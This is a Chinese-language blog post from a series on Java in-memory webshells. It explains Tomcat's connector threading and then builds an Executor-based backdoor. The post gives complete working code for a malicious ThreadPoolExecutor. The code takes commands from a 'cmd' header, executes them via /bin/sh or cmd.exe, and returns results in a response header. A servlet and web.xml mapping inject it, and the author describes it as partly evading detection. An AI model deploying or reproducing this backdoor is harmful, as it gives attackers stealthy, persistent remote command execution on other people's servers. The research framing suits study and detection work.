繞過檢測之Executor記憶體馬淺析(記憶體馬系列篇五)

語言: CN / TW / HK

寫在前面

前面已經從程式碼層面講解了Tomcat的架構,這是記憶體馬系列文章的第五篇,帶來的是Tomcat Executor型別的記憶體馬實現。有了前面第四篇中的瞭解,才能更好的看懂記憶體馬的構造。

前置

什麼是Executor

Executor是一種可以在Tomcat元件之間進行共享的連線池。

我們可以從程式碼中觀察到對應的描述:

The Executor implementations provided in this package implement ExecutorService, which is a more extensive interface. The ThreadPoolExecutor class provides an extensible thread pool implementation. The Executors class provides convenient factory methods for these Executors. Memory consistency effects: Actions in a thread prior to submitting a Runnable object to an Executor happen-before its execution begins, perhaps in another thread.

Executes the given command at some time in the future. The command may execute in a new thread, in a pooled thread, or in the calling thread, at the discretion of the Executor implementation. Params: command – the runnable task Throws: RejectedExecutionException – if this task cannot be accepted for execution NullPointerException – if command is null

對於他的作用,允許為一個Service的所有Connector配置一個共享執行緒池。

在執行多個Connector的狀況下,這樣處理非常有用,而且每個Connector必須設定一個maxThread值,但不希望Tomcat例項併發使用的執行緒最大數永遠與所有聯結器maxThread數量的總和一樣高。

這是因為如果這樣處理,則需要佔用太多的硬體資源。相反,您可以使用Executor元素配置一個共享執行緒池,而且所有的Connector都能共享這個執行緒池。

分析流程

通過上篇文章的分析我們知道,

在啟動Tomcat的時候首先會。

呼叫啟動類,並傳入引數start預示著Tomcat啟動:

這裡呼叫start方法進行相關配置的初始化操作,

一直走到了 org.apache.catalina.startup.Catalina 類中load方法中呼叫了。 this.getServer().init() 方法進行Server的初始化操作,

即呼叫了 LifecycleBase#init 方法,進而呼叫了 initInternal 方法,即來到了他的實現類 StandardServer#initInternal 中來了。

上篇中也提到過,將會迴圈的呼叫所有service的init方法,進而呼叫了 StandardService#initInternal 方法進行初始化,呼叫了 Engine#init 方法,因為沒有配置Executor,所以在初始化的時候不會呼叫他的init方法,之後再呼叫 mapperListener.init() 進行Listener的初始化操作,在獲取了所有的connector之後將會迴圈呼叫其init方法進行初始化。

在初始化結束之後將會呼叫 start 方法

即呼叫了 Bootstrap#start 方法,進而呼叫了Server.start方法

來到了 StandardService#startInternal 方法,緊跟著呼叫了上面呼叫了Init方法的start方法,成功啟動Tomcat。

正文

接下來我們來分析一下為什麼選用Executor來構造記憶體馬,和如構造記憶體的流程。

分析注入方式

在成功開啟了Tomcat之後,我們可以在 Executor 中的 execute 方法中打下斷點,

之後執行訪問8080埠

在前面那一篇文章中我們知道 Acceptor 是生產者,而 Poller 是消費者,

在執行 Endpoint.start() 會開啟 Acceptor執行緒 來處理請求。

在其run方法中存在

  1. 執行過程中,如果 Endpoint 暫停了,則 Acceptor 進行自旋(間隔50毫秒);

  2. 如果 Endpoint 終止運行了,則 Acceptor 也會終止;

  3. 如果請求達到了最大連線數,則wait直到連線數降下來;

  4. 接受下一次連線的socket。

這一步己經在執行Tomcat容器的時候已經進行了,

在我們訪問Tomcat的頁面之後將會建立一個執行緒,並呼叫target屬性的run方法,這裡的target就是Poller物件(消費者)。

即呼叫了 NioEndpoint$Poller#run 方法,跟進

public void run() {
    while(true) {
        boolean hasEvents = false;

        label58: {
            try {
                if (!this.close) {
                    hasEvents = this.events();
                    if (this.wakeupCounter.getAndSet(-1L) > 0L) {
                        this.keyCount = this.selector.selectNow();
                    } else {
                        this.keyCount = this.selector.select(NioEndpoint.this.selectorTimeout);
                    }

                    this.wakeupCounter.set(0L);
                }

                if (!this.close) {
                    break label58;
                }

                this.events();
                this.timeout(0, false);

                try {
                    this.selector.close();
                } catch (IOException var5) {
                    NioEndpoint.log.error(AbstractEndpoint.sm.getString("endpoint.nio.selectorCloseFail"), var5);
                }
            } catch (Throwable var6) {
                ExceptionUtils.handleThrowable(var6);
                NioEndpoint.log.error("", var6);
                continue;
            }

            NioEndpoint.this.getStopLatch().countDown();
            return;
        }

        if (this.keyCount == 0) {
            hasEvents |= this.events();
        }

        Iterator iterator = this.keyCount > 0 ? this.selector.selectedKeys().iterator() : null;

        while(iterator != null && iterator.hasNext()) {
            SelectionKey sk = (SelectionKey)iterator.next();
            iterator.remove();
            NioEndpoint.NioSocketWrapper socketWrapper = (NioEndpoint.NioSocketWrapper)sk.attachment();
            if (socketWrapper != null) {
                this.processKey(sk, socketWrapper);
            }
        }

        this.timeout(this.keyCount, hasEvents);
    }
}

首先呼叫了 events 方法,檢視佇列中是否有Pollerevent事件,如果有就將其取出,然後把裡面的Channel取出來註冊到該Selector中,然後通過迭代器檢視所有註冊過的Channel檢視是否有事件發生。

當有事件發生時,則呼叫SocketProcessor交給Executor執行。

呼叫了processKey(sk, socketWrapper)進行處理,

該方法又會根據key的型別,來分別處理讀和寫,

  1. 處理讀事件,比如生成Request物件;

  2. 處理寫事件,比如將生成的Response物件通過socket寫回客戶端;

這裡處理的是讀事件,所以呼叫了 processSocket 方法,

首先從 processorCache 中彈出一個 Processor 來處理 socket,

之後呼叫 getExecutor 方法獲取一個Executor物件。

這裡的executor是endpoint自己啟動的 ThreadPoolExecutor 類,

在之後將會呼叫其execute方法。

既然它能夠呼叫Executor類的execute方法,那麼我們可以建立一個惡意的Executor類繼承 ThreadPoolExecutor ,並重寫其中的execute方法,那麼在呼叫該方法的時候將會執行我們的惡意程式碼。

但是,怎麼才能將其中的executor屬性值替換成我們的惡意Executor類呢?

我們可以注意到在 AbstractEndpoint 類中,我們在呼叫processSocket方法時候提取出來了executor屬性值,那麼是否有對應的setter方法呢?

是的存在一個 setExecutor 方法,能夠替換掉原來的executor屬性值,之後在消費者消費的同時將會執行我們的惡意程式碼。

那麼如果編寫我們的惡意程式碼呢?

起碼需要實現命令執行和回顯的功能吧。

我們總需要獲取到reqeust物件,出去對應的引數值,進行命令執行~

我們可以通過專案https://github.com/c0ny1/java-object-searcher來查詢利用鏈,

我們可以發現在當前執行緒中的可以找到該請求:

((Http11InputBuffer)((NioChannel)((Object[])((SynchronizedStack)((NioEndpoint)((Acceptor)((Thread)this).group.threads[6].target).this$0).nioChannels).stack)[0]).appReadBufHandler).byteBuffer.hb

可以將這段帶入Evaluate進行計算,

在這裡我們能夠獲取到我們傳入的引數值,之後就可以將其提取出來,進行執行命令。

後面就需要一個回顯,回顯命令執行之後的結果,如何回顯?

我們可以觀察到在 AbstractProcessor 類的構造方法中將會初始化一個Request和Response物件,

既然我們需要做出回顯,那麼我們需要尋找response在哪裡,同樣可以通過前面那個專案快速搜尋到。

((Request)((RequestInfo)((java.util.ArrayList)((RequestGroupInfo)((ConnectionHandler)((NioEndpoint)((Acceptor)((ThreadGroup)((TaskThread)this).group).threads[6].target).this$0).handler).global).processors).get(0)).req).response

在知道了reponse的位置之後,我們就能過獲取到對應的資料了。

此時的呼叫棧

prepareResponse:1081, Http11Processor (org.apache.coyote.http11)
action:384, AbstractProcessor (org.apache.coyote)
action:208, Response (org.apache.coyote)
sendHeaders:421, Response (org.apache.coyote)
doFlush:310, OutputBuffer (org.apache.catalina.connector)
close:270, OutputBuffer (org.apache.catalina.connector)
finishResponse:446, Response (org.apache.catalina.connector)
service:395, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

prepareResponse 方法中,將會對response進行再次封裝,我們只需要提前將我們命令執行後的結果放在reponse中,我們就可以得到回顯了。

怎麼寫入reponse結構中呢?這裡不想前面的三種記憶體馬,能夠直接建立回顯,這裡稍微複雜一點,我們可以來到 org.apache.catalina.connector.Response 這個類中。

繼承了 HttpServletReponse 介面,

封裝了很多方法,可以通過這些方法將回顯的資料傳回。

所以我們可以得到構造Executor記憶體馬的流程:

  1. 首先獲取對應的NioEndpoint(對比上面分析的request和response位置,我們可以知道有一個共同點);

  2. 獲取對應的executor屬性;

  3. 建立一個惡意的executor;

  4. 將惡意的executor傳入。

手把手構造

我們可以通過在當前執行緒獲取NioEndpoint類,為什麼可以從當前執行緒找到呢?

我們可以檢視上面尋找request的記憶體物件路徑,

((Http11InputBuffer)((NioChannel)((Object[])((SynchronizedStack)((NioEndpoint)((Acceptor)((Thread)this).group.threads[6].target).this$0).nioChannels).stack)[0]).appReadBufHandler).byteBuffer.hb

其中有一段就是NioEndpoint類,

((NioEndpoint)((Acceptor)((Thread)this).group.threads[6].target).this$0)

所以我們可以編寫獲取方法,

public Object getNioEndpoint() {
    // 獲取當前執行緒的所有執行緒
    Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
    for (Thread thread : threads) {
        try {
            // 需要獲取執行緒的特徵包含Acceptor
            if (thread.getName().contains("Acceptor")) {
                Object target = getField(thread, "target");
                Object nioEndpoint = getField(target, "this$0");
                return nioEndpoint;
            }
        } catch (Exception e) {
            continue;
        }
    }
    // 沒有獲取到對應Endpoint,返回一個空物件
    return new Object();
}

之後獲取NioEndpoint類的executor屬性,

本身在NioEndpoint類中並沒有executor屬性,但是我們可以觀察該類的繼承關係。

在他的父類 AbstractEndpoint 類中是存在這個屬性的,

ThreadPoolExecutor executor = (ThreadPoolExecutor) getField(nioEndpoint, "executor");

之後我們需要建立一個惡意的executor,需要實現命令執行和回顯操作。

這一步可以分為好幾步,首先需要獲取到request物件中需要執行的命令,

對於request物件的獲取可以結合上面貼的 Evaluate 進行構造:

public String getRequest() {
    try {
        // 通過呼叫getNioEndpoint方法獲取到NioEndpoint物件
        Object nioEndpoint = getNioEndpoint();
        // 獲取到stack陣列
        Object[] objects = (Object[]) getField(getField(nioEndpoint, "nioChannels"), "stack");
        // 獲取到Buffer
        ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
        String req = new String(heapByteBuffer.array(), "UTF-8");
        // 分割出command
        String cmd = req.substring(req.indexOf("cmd") + "cmd".length() + 1, req.indexOf("\r", req.indexOf("cmd")) - 1);
        return cmd;
    } catch (Exception e) {
        System.out.println(e);
        return null;
    }
}

大概提一下,為什麼這裡是 +1 不是 +1 不是我們在請求頭冒號後面不是有一個空格嗎,不是應該+2嘛,不是的,通過呼叫,我發現在獲取的req中並沒有空格存在,所以這裡是+1。

而後面為什麼要-1,就是因為在獲取req中最後一個字元又存在兩次,

之後同樣需要能夠將執行結果寫入reponse,

同樣,因為response是封裝在req物件中的,由此思路可以在當前執行緒中獲取到response物件。

之後通過addHeader方法將結果寫入返回頭中,

// 獲取命令執行返回的回顯結果
public void getResponse(byte[] res) {
    try {
        // 獲取NioEndpoint物件
        Object nioEndpoint = getNioEndpoint();
        // 獲取執行緒中的response物件
        ArrayList processors = (ArrayList) getField(getField(getField(nioEndpoint, "handler"), "global"), "processors");
        // 遍歷獲取response
        for (Object processor : processors) {
            RequestInfo requestInfo = (RequestInfo) processor;
            // 獲取到封裝在req的response
            Response response = (Response) getField(getField(requestInfo, "req"), "response");
            // 將執行的結果寫入response中
            response.addHeader("Execute-result", new String(res, "UTF-8"));
        }
    } catch (Exception e) {

    }
}

最後一步就是重寫Exector的execute方法了。

執行命令,將結果輸入流寫入response中去,

public void execute(Runnable command) {
    // 獲取command
    String cmd = getRequest();
    try {
        String[] cmds = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
        byte[] result = new java.util.Scanner(new ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next().getBytes();
        getResponse(result);
    } catch (Exception e) {

    }

    this.execute(command, 0L, TimeUnit.MILLISECONDS);
}

最後就需要將我們構造的惡意executor傳入,

nioEndpoint.setExecutor(exe);

完整的記憶體馬

package pres.test.momenshell;

import org.apache.coyote.Response;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.NioEndpoint;
import org.apache.tomcat.util.threads.ThreadPoolExecutor;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.TimeUnit;

public class AddTomcatExecutor extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doPost(req, resp);
    }

    public Object getField(Object obj, String field) {
        // 遞迴獲取類的及其父類的屬性
        Class clazz = obj.getClass();
        while (clazz != Object.class) {
            try {
                Field declaredField = clazz.getDeclaredField(field);
                declaredField.setAccessible(true);
                return declaredField.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }

    public Object getNioEndpoint() {
        // 獲取當前執行緒的所有執行緒
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            try {
                // 需要獲取執行緒的特徵包含Acceptor
                if (thread.getName().contains("Acceptor")) {
                    Object target = getField(thread, "target");
                    Object nioEndpoint = getField(target, "this$0");
                    return nioEndpoint;
                }
            } catch (Exception e) {
                e.printStackTrace();
                continue;
            }
        }
        // 沒有獲取到對應Endpoint,返回一個空物件
        return new Object();
    }
    class executorEvil extends ThreadPoolExecutor {
        public executorEvil(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
            super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
        }
        public String getRequest() {
            try {
                // 通過呼叫getNioEndpoint方法獲取到NioEndpoint物件
                Object nioEndpoint = getNioEndpoint();
                // 獲取到stack陣列
                Object[] objects = (Object[]) getField(getField(nioEndpoint, "nioChannels"), "stack");
                // 獲取到Buffer
                ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
                String req = new String(heapByteBuffer.array(), "UTF-8");
                // 分割出command
                String cmd = req.substring(req.indexOf("cmd") + "cmd".length() + 1, req.indexOf("\r", req.indexOf("cmd")) - 1);
                return cmd;
            } catch (Exception e) {
                e.printStackTrace();
                return null;
            }
        }
        // 獲取命令執行返回的回顯結果
        public void getResponse(byte[] res) {
            try {
                // 獲取NioEndpoint物件
                Object nioEndpoint = getNioEndpoint();
                // 獲取執行緒中的response物件
                ArrayList processors = (ArrayList) getField(getField(getField(nioEndpoint, "handler"), "global"), "processors");
                // 遍歷獲取response
                for (Object processor : processors) {
                    RequestInfo requestInfo = (RequestInfo) processor;
                    // 獲取到封裝在req的response
                    Response response = (Response) getField(getField(requestInfo, "req"), "response");
                    // 將執行的結果寫入response中
                    response.addHeader("Execute-result", new String(res, "UTF-8"));
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        @Override
        public void execute(Runnable command) {
            // 獲取command
            String cmd = getRequest();
            try {
                String[] cmds = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
                byte[] result = new java.util.Scanner(new ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next().getBytes();
                getResponse(result);
            } catch (Exception e) {
                e.printStackTrace();
            }

            this.execute(command, 0L, TimeUnit.MILLISECONDS);
        }
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        // 從執行緒中獲取NioEndpoint類
        NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();
        // 獲取executor屬性
        ThreadPoolExecutor executor = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
        // 例項化我們的惡意executor類
        executorEvil evil = new executorEvil(executor.getCorePoolSize(), executor.getMaximumPoolSize(), executor.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, executor.getQueue(), executor.getThreadFactory(), executor.getRejectedExecutionHandler());
        // 將惡意類傳入
        nioEndpoint.setExecutor(evil);
    }
}

簡單示例

我們可以建立一個繼承了HttpServlet的類,就是上面的完整記憶體馬。

我們通過方法這個Servlet的方法寫入記憶體馬,

在web.xml中新增路由對映,

<servlet>
    <servlet-name>AddTomcatExecutor</servlet-name>
    <servlet-class>pres.test.momenshell.AddTomcatExecutor</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>AddTomcatExecutor</servlet-name>
    <url-pattern>/addTomcatExecutor</url-pattern>
</servlet-mapping>

在開啟Tomcat之後,訪問該路由,

將會成功寫入記憶體馬,

之後通過burp傳送資料包,加上一個cmd的請求頭,後面包含執行的命令。

成功執行命令並回顯。

總結

這個是一個比較新穎的記憶體馬思路,使用了Connector中的元件構造出了獨特的記憶體馬。

同樣可以一定程度上繞過檢測與查殺,當然後面會有幾篇和查殺有關的篇章,將會進行比較各個記憶體馬的差異。

構造記憶體馬思路:

  1. 首先獲取對應的NioEndpoint(對比上面分析的request和response位置,我們可以知道有一個共同點);

  2. 獲取對應的executor屬性;

  3. 建立一個惡意的executor;

  4. 將惡意的executor傳入。

Reference

https://xz.aliyun.com/t/11593